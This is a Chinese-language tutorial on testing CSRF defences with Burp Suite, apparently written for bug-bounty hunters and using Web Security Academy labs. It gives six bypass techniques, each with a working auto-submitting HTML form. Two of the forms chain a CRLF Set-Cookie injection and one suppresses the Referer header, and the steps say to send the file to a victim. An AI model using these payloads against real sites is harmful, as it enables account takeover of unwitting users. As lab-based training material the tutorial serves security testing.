如何测试CSRF

简介: 前言阅读本文之前如果不了解什么是csrf,请先看一个视频: https://v.qq.com/x/page/c0877u4a1ei.html为什么要谈这个漏洞?这种漏洞单独提交的话,厂家可能不会给你还多钱,但是它往往和其他脆弱点造成一些高危漏洞:比如账户劫持,Oauth相关的漏洞本文主要总结了几种常见的测试(绕过)方法

前言


阅读本文之前如果不了解什么是csrf,请先看一个视频: https://v.qq.com/x/page/c0877u4a1ei.html

为什么要谈这个漏洞?这种漏洞单独提交的话,厂家可能不会给你还多钱,但是它往往和其他脆弱点造成一些高危漏洞:比如账户劫持,Oauth相关的漏洞

本文主要总结了几种常见的测试(绕过)方法


CSRF测试


基本流程:

1.在Burp Suite Professional中选择一个您想要测试或利用的请求。

2.从右键单击上下文菜单中,选择“参与工具” /“生成CSRF PoC”。

3.Bp将生成一些HTML来触发选定的请求(除去cookies,后者将由受害者的浏览器自动添加)。

4.可以调整CSRF PoC生成器中的各种选项来微调攻击向量。在一些不寻常的情况下,可能需要这样做,以处理请求的奇怪的特性。

5.将生成的HTML复制到一个web页面中,在登录到该脆弱网站的浏览器中查看它,并测试是否成功发出了预期的请求和预期的操作。

方法1-更改请求方法:POST→GET

此种情况下:CSRF令牌的验证取决于请求方法

  1. 拦截请求。
  2. 将此请求发送到repeater,然后右键单击并更改请求方法
  3. 删除csrf参数并生成csrf poc
  4. 进行编辑,例如:
<!DOCTYPE html>
<html>
  <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
  <form method="GET" action="https://ac591fd21f4ab3d2807a1b1d0007000d.web-security-academy.net:443/email/change-email?email=natsu%40natsu.com">
    <input type="text" name="email" value="natsu@natsu.com">
  </form>
<script>
      document.forms[0].submit();
    </script>
</body>
</html>
  1. 发送至受害者

方法2-从请求中删除 csrf 参数。

CSRF令牌的验证取决于令牌是否存在

  1. 拦截请求。
  2. 将此请求发送到repeater,然后右键单击并更改请求方法
  3. 删除csrf参数(这里的意思是本来还有一个input,name为csrf)并生成csrf poc
  4. 进行编辑,例如:
<!DOCTYPE html>
<html>
  <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
  <form method="POST" action="https://ac8a1fbd1e6d76ae806817f900d50032.web-security-academy.net:443/email/change-email">
    <input type="text" name="email" value="natsu@natsu.com">
  </form>
<script>
      document.forms[0].submit();
    </script>
</body>
</html>

方法3-在攻击中输入您自己的帐户生成的 CSRF 令牌。

  1. 拦截请求。
  2. 右键单击生成csrf poc
  3. 将代码复制到file.html中,删除会话令牌
  4. 编辑一下(注意下面代码中的email值都变为攻击者的了):
<!DOCTYPE html>
<html>
  <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
  <form method="POST" action="https://acd81f251e0c762980c31ae600c70041.web-security-academy.net:443/email/change-email">
    <input type="text" name="email" value="hacker@hackerone.com">
    <input type="text" name="csrf" value="hacker-csrf-value-NqdmYFyfHgQl8JWLKd7YTOC24Tqdedpw">
  </form>
<script>
      document.forms[0].submit();
    </script>
</body>
</html>
  1. 将file.html发送给受害者。

方法4-链接其他漏洞以添加你的 cookie,例如XSS,CRLF

例1-CSRF令牌绑定到一个非会话cookie,当我们有两个CSRF令牌时,一个在cookie中,另一个在功能中,这是由于存在两个框架,一个用于会话处理,一个用于CSRF保护,它们没有集成在一起。

cookie设置行为不需要存在于与CSRF漏洞相同的web应用程序中。如果所控制的cookie具有合适的作用域,则可以利用同一整体DNS域中的任何其他应用程序在目标应用程序中设置cookie。例如,staging.demo.normal-website.com上的cookie设置功能可以用来放置提交到secure.normal-website.com的cookie。

  1. 首先找到一个漏洞:允许您在受害者的cookie中注入一些东西。
  2. 测试CSRF令牌是否绑定到会话id
  3. 检查您的csrf令牌在受害者请求中替换时是否起作用
  4. 最后检查是否可以注入CRLF并更改csrf cookie值
  5. 现在做一个csrf poc与xss有效载荷执行crlf并发送这个poc给受害者
<!DOCTYPE html>
<html>
  <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
  <form method="POST" action="https://ac981fc81ee9f58b80984ae400200076.web-security-academy.net:443/my-account/change-email">
    <input type="text" name="csrfKey" value="ntq9GTrV4JhtLaX07sqTnMpOHwMGpaX9">
    <input type="text" name="email" value="hehe@hehe.com">
    <input type="text" name="csrf" value="6EU5SJ9YKzfOsq9rNgDR8toGy0TKSw81">
    <input type="submit" value="Send">
  </form>
<img src="http://ac981fc81ee9f58b80984ae400200076.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=ntq9GTrV4JhtLaX07sqTnMpOHwMGpaX9" onerror="document.forms[0].submit()">
</body>
</html>

例2:CSRF令牌在cookie中简单复制,这里CSRF令牌值可以是cookie中需要相同的值

  1. 拦截请求,尝试更改cookie和param中的csrf令牌
  2. 像上面那样制作类似的poc,但这次在crlf有效负载和请求参数中放入相同的csrf令牌。
<!DOCTYPE html>
<html>
  <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
  <form method="POST" action="https://ac071f601e8dc74380609c1d000900b3.web-security-academy.net:443/my-account/change-email">
    <input type="text" name="csrf" value="K5r92qL9pGzpC2joPMkqgBSY1GG3eo6I">
    <input type="text" name="session" value="xdCFpxBe1M0MHvk0DmFuzCRlImMgdxZk">
    <input type="text" name="email" value="natsu@natsu.com">
    <input type="text" name="csrf" value="fake">
    <input type="submit" value="Send">
  </form>
<img src="http://ac071f601e8dc74380609c1d000900b3.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake" onerror="document.forms[0].submit()">
</body>
</html>
  1. 发给受害者。

方法5-完全删除或禁止引用标头

Referer验证依赖于header的存在。

  1. 拦截请求并尝试更改referer。
  2. 如果这不起作用,那么你将不得不抑制引用头。
  3. 您可以使用“<meta name="referrer" content="no-referrer">”或任何其他技术。
  4. POC如下:
<!DOCTYPE html>
<html>
  <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
  <form method="POST" action="https://ac6d1fe21fb2a0c7809510e7001c006c.web-security-academy.net:443/my-account/change-email">
    <input type="text" name="session" value="S4dyJbRWg1IqEpZlPkhICE5vJQhnv6ve">
    <input type="text" name="email" value="hola@hola.com">
<meta name="referrer" content="no-referrer">
  </form>
<script>
      document.forms[0].submit();
    </script>
</body>
</html>

方法6-在referer中添加attacker.com

  1. 拦截请求并尝试更改referer为attacker.com
  2. 现在生成一个普通的POC,并在脚本块中包含任何JavaScript来更改URL和Referer(如下)
<!DOCTYPE html>
<html>
  <!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin -->
<body>
  <form method="POST" action="https://ac761f621f79d75680e4054c00160033.web-security-academy.net:443/my-account/change-email">
    <input type="text" name="session" value="rk13v2KYDFByO0OFL0xnHcnIVZbvAHNg">
    <input type="text" name="email" value="gg@gg.com">
    <input type="submit" value="Send">
  </form>
<script>
<!--  history.pushState("", "", "/?$original-domain")-->
       history.pushState("", "", "/?ac761f621f79d75680e4054c00160033.web-security-academy.net")
      document.forms[0].submit();
    </script>
</body>
</html>
目录
相关文章
|
7月前
|
安全 JavaScript 前端开发
Python 的安全性和测试:解释什么是 XSS 和 CSRF 攻击?在 Python 中如何防范这些攻击?
Python 的安全性和测试:解释什么是 XSS 和 CSRF 攻击?在 Python 中如何防范这些攻击?
123 2
|
前端开发 安全 JavaScript
防止CSRF攻击与针对CSRF方法接口测试的调整
防止CSRF攻击与针对CSRF方法接口测试的调整
200 0
防止CSRF攻击与针对CSRF方法接口测试的调整
|
Web App开发 Java 测试技术
利用Java编码测试CSRF令牌验证的Web API
前一篇拙文是利用了Jmeter来测试带有CSRF令牌验证的Web API;最近几天趁着项目不忙,练习了用编码的方式实现。 有了之前Jmeter脚本的基础,基本上难点也就在两个地方:获取CSRF令牌、Cookie的传递。
1177 0
|
Web App开发 测试技术 API
利用Jmeter测试CSRF令牌验证的Web API
事情的起因是最近收到的一批测试需求,要测试公司HR系统的接口性能。这个是需要测试的接口列表: 所有的接口请求,都基于登录验证成功,否则将无法获得正确的应答。 首先想到的是在浏览器上捕捉请求。打开Chrome浏览器,调出开发者工具栏,在地址栏输入登录模块的地址,访问登录页面:   输入账号和密码,录制登录过程;然后定位到开发工具的Network页面,找到登录的事务。
1841 0
|
Web App开发 前端开发 Java
防CSRF攻击:一场由重复提交的问题引发的前端后端测试口水战
重复提交,这是一直以来都会存在的问题,当在网站某个接口调用缓慢的时候就会有可能引起表单重复提交的问题,不论form提交,还是ajax提交都会有这样的问题,最近在某社交app上看到这么一幕,这个团队没有做重复提交的验证,从而导致了数据有很多的重复提交,在这里我们不讨论谁对谁错,问题解决即可。
1194 0
|
7月前
|
缓存 安全 JavaScript
前端安全:Vue应用中防范XSS和CSRF攻击
【4月更文挑战第23天】本文探讨了在Vue应用中防范XSS和CSRF攻击的重要性。XSS攻击通过注入恶意脚本威胁用户数据,而CSRF则利用用户身份发起非授权请求。防范措施包括:对输入内容转义、使用CSP、选择安全的库;采用Anti-CSRF令牌、同源策略和POST请求对抗CSRF;并实施代码审查、更新依赖及教育团队成员。通过这些实践,可提升Vue应用的安全性,抵御潜在攻击。
1006 0
|
22天前
|
安全 前端开发 JavaScript
什么是 CSRF 攻击?如何启用 CSRF 保护来抵御该攻击?
什么是 CSRF 攻击?如何启用 CSRF 保护来抵御该攻击?
60 5
|
1月前
|
存储 Web App开发 安全
如何防范 CSRF 攻击
CSRF(跨站请求伪造)攻击是一种常见的安全威胁。防范措施包括:使用Anti-CSRF Token、检查HTTP Referer、限制Cookie作用域、采用双重提交Cookie机制等,确保请求的合法性与安全性。
|
1月前
|
网络安全 数据安全/隐私保护
什么是 CSRF 攻击
CSRF(跨站请求伪造)攻击是指攻击者诱导用户点击恶意链接或提交表单,利用用户已登录的身份在目标网站上执行非授权操作,如转账、修改密码等。这种攻击通常通过嵌入恶意代码或链接实现。
|
1月前
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
93 4
下一篇
DataWorks